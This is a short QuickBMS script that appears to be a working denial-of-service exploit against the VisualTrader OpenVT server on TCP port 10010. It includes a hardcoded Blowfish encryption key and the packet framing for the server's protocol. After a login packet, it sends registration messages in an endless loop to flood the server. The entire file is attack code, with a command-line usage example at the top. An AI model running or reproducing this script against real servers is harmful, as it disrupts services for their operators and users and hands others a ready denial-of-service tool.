# VisualTrader OpenVT lame Denial of Service
# quickbms -n openvt_dos.bms "tcp://SERVER:10010" .
# script for Quickbms http://quickbms.aluigi.org
get SERVER fullname
set KEY string "3jds894jsnwmtod0295jdhbtr5bv789dsjkerk59fjq2k39fklwo04dm"
set MEMORY_FILE binary "10|full_program_name|username|password|"
callfunction OPENVT_SEND
# Denial of Service
for
set MEMORY_FILE binary "1|1|1|program_exe|description|version|1"
callfunction OPENVT_SEND
next
for
callfunction OPENVT_RECV
next
startfunction OPENVT_SEND
get SIZE asize MEMORY_FILE
#goto 0 MEMORY_FILE
#getdstring DATA SIZE MEMORY_FILE
#print "SEND: %DATA%"
math SIZE x= 8
putvarchr MEMORY_FILE SIZE 0
encryption bf_cbc KEY "" 1
log MEMORY_FILE 0 SIZE MEMORY_FILE
encryption "" ""
string TMP p= "#%07x" SIZE
putdstring TMP 8
log SERVER 0 SIZE MEMORY_FILE
put 0x0d byte
put 0x0a byte
endfunction
startfunction OPENVT_RECV
getdstring SIZE 8
putvarchr SIZE 0 0x24
getdstring DATA SIZE
getdstring TMP 2
encryption bf_cbc KEY ""
string DATA E= DATA
encryption "" ""
strlen SIZE DATA
print "RECV: %DATA%"
endfunction
|